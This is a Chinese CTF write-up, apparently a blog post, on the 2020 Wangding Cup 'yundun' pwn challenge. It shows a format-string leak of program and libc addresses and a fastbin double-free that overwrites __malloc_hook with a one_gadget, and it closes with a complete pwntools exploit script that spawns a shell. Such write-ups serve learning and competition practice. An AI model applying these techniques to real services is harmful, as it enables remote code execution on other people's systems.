2020网鼎杯朱雀组云顿WP(入门向)

@[TOC](2020网鼎杯朱雀组 云顿(yundun) wp 入门向)

学习PWN也有两年左右时间了,一看就会,一做就废。这次网鼎杯朱雀组结束后拿到一道pwn的题目yundun,尝试自己做了一下,在几个小时内做出来了,虽然没有正式参赛,但是也算是自己做出来的第一道大赛题目,值得纪念一下。后来才发现有更简单的方法(使用格式化字符串漏洞直接利用),但是不影响技术微微 提升。废话不多说,直接进入主题。

二进制分析

题目只给了一个二进制pwn,没有glibc,估计一会儿需要自行确定glibc版本。用checksec查看,保护全开。checksec
拖到IDA,f5大法分析一下,发现是一个简易shell,支持vim、cd、rm、ls、cat操作。其中,vim、rm和cat其实就是对2个堆区(以下称堆1、堆2)进行malloc、free和puts\printf操作。经过一番(许久)观察之后,发现cat堆2的时候存在格式化字符串溢出漏洞,vim堆2的时候会越界写,这个之后再说。先看格式化字符串:格式化字符串漏洞
虽然在printf之前,对buf2也就是堆2的内容进行了简单的格式化字符串利用检测,但是这并不影响我们利用,毕竟谁会直接用%n,%h,%x来进行利用呢。拖到gdb里面下好断点(可以自行百度如何关闭ubuntu的地址随机化),输入

vim 2
aaaaaa
cat 2

看一下在printf处的栈空间,发现在第0x1c处,存着 __libc_csu_init 的地址,由此可以leak出main函数的地址,在第0x1d处,存着 __libc_start_main+240 的地址,在https://libc.blukat.me/上面查一下,满足__libc_start_main地址要求的就一个glibc版本:2.23,因此glibc的版本也确定了。
leak地址
python代码如下:

#leak main addr
io.recvuntil('> ')
myEdit(2, '%34$p')
result = myCat(2)
result = result[2:].strip()
main_addr = int(result, 16) - 0x578
print 'main_addr: ' + hex(main_addr)
myRm(2)

#leak libc addr
myEdit(2, '%35$p')
result = myCat(2)
result = result[2:].strip()
libc_start_main = int(result, 16) - 240
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print 'libc_addr: ' + hex(libc_base)
myRm(2)

下一步就是堆溢出利用。前面讲到,在vim堆2的时候,存在越界写。
堆溢出
vim堆1会malloc(0x60),vim堆2会malloc(0x30),但是无论是堆1还是堆2,都会写入最多70个字节,因此此处存在FastBin Attack的可能。但是在这个程序中,无论堆1或者堆2malloc多少次,rm的时候都只会对堆1和堆2的最后一次的malloc进行free,因此我们需要人为制造一个double free。如何制造呢?前面的越界写就派上用场了。先vim堆2,再vim堆1,布好堆空间:

myEdit(2, 'aaaa')
myEdit(1, 'a' * 0x30 + p64(0) + p64(0x31))
myRm(2)
myRm(1)

布局堆空间
可以看到,0x55b4ff04d000处是堆2,大小为0x40,0x55b4ff04d040处是堆1,大小为0x70。然后rm堆2,rm堆1。看看FastBin里面的情况,堆1和堆2在free后都已经进入了自己应该进入的位置:
main_arena再vim堆2的时候,由于处于FastBin中且大小与之前vim堆2的大小相同,因此会重新把之前的地址分配回来。这个时候,我们输入堆2内容的时候,就可以修改堆1的头和内容,伪造一个堆空间,将堆1的大小修改为64。如果仅仅这样的话还不行,因为堆1到top chunk有0x70的长度,但是堆1的头此时被设置为了0x40,还差0x30,在这个0x30的空缺处,我们需要伪造一个堆块,以绕过相关的检测。但是vim堆2的时候,最多能写70个字节,这怎么办?没关系,在第一次vim堆1的时候我们就可以先把这个地方设置好,因为这本身就是在堆1的正常区域内,之后再进行vim堆2的操作:

myEdit(2, 'a' * 0x30 + p64(0) + p64(0x41))

此时的堆空间就像是这样(堆地址和上图不相同,因为程序截图的时候分两次执行的程序,大家看布局就好,以下同理):伪造堆空间
再rm堆1的时候,它将会进入大小为0x40的FastBin中。然后我们一次rm堆2,rm堆1,即可造成FastBin中的双向链表。

myRm(1)
myRm(2)
myRm(1)

堆1进入FastBin-0x40
产生双向链表
接下来就是经典的FastBin Attack。因为程序保护全开,所以此处我们考虑修改 __malloc_hook 内容,指向one_gadget。
先vim堆2,把0x55662ff70040分配回来,再vim堆2,把0x55662ff70000分配回来,此时我们利用越界写,把0x55662ff70040的fd设置为 __malloc_hook-0x23 。然后再vim堆1两次,在第二次vim堆1的时候,输入内容为’a’*0x13 + one_gadget地址,此时, __malloc_hook 的内容即被填充为one_gadget的地址,最后再vim堆1,让程序执行一次malloc即可执行one_gadget。

myEdit(2, 'aaaa')
myEdit(2, 'a' * 0x30 + p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23))
myEdit(1, 'aaaa')
myEdit(1, 'a' * 0x13 + p64(exec_addr))
io.sendline('vim 1')

__malloc_hook被填充
注意,在使用one_gadget的时候是有条件限制的,例如glibc-2.23的几个one_gadget就有以下几个限制:glibc2-23限制
但是这道题正好满足[rsp+0x70] == NULL,可以顺利完成利用。如果没有满足条件的情况,就需要利用__libc_realloc中的几个push来微调栈,这就是另外一个知识点了,这里就不展开了(就是因为懒)。完整poc代码贴在这里。

POC

from pwn import *

def myEdit(index, buf):
    io.sendline('vim ' + str(index))
    io.recvuntil('> ')
    io.sendline(buf)
    io.recvuntil('> > ')


def myCat(index):
    io.sendline('cat ' + str(index))
    result = io.recvline()
    io.recvuntil('> ')
    return result

def myRm(index):
    io.sendline('rm ' + str(index))
    io.recvuntil('> ')

libc = ELF('./libc-2.23.so')
io = process('./pwn')
gdb.attach(io)
#io = remote('127.0.0.1', 4444)
#context(arch = 'amd64', os = 'linux', log_level = 'debug')
context(arch = 'amd64', os = 'linux')

#leak main addr
io.recvuntil('> ')
myEdit(2, '%34$p')
result = myCat(2)
result = result[2:].strip()
main_addr = int(result, 16) - 0x578
print 'main_addr: ' + hex(main_addr)
myRm(2)

#leak libc addr
myEdit(2, '%35$p')
result = myCat(2)
result = result[2:].strip()
libc_start_main = int(result, 16) - 240
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print 'libc_addr: ' + hex(libc_base)
myRm(2)

malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
realloc_addr = libc_base + libc.symbols['__libc_realloc']
'''
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''
#exec_addr = libc_base + 0x45216
exec_addr = libc_base + 0xf1147
#exec_addr = libc_base + 0xf02a4

myEdit(2, 'aaaa')
myEdit(1, 'a' * 0x30 + p64(0) + p64(0x31))
myRm(2)
myRm(1)

myEdit(2, 'a' * 0x30 + p64(0) + p64(0x41))
myRm(1)
myRm(2)
myRm(1)

#myEdit(2, p64(malloc_hook_addr))
myEdit(2, 'aaaa')
myEdit(2, 'a' * 0x30 + p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23))
myEdit(1, 'aaaa')
myEdit(1, 'a' * 0x13 + p64(exec_addr))

io.sendline('vim 1')
io.interactive()

猜你喜欢

转载自blog.csdn.net/qq346812142/article/details/106200968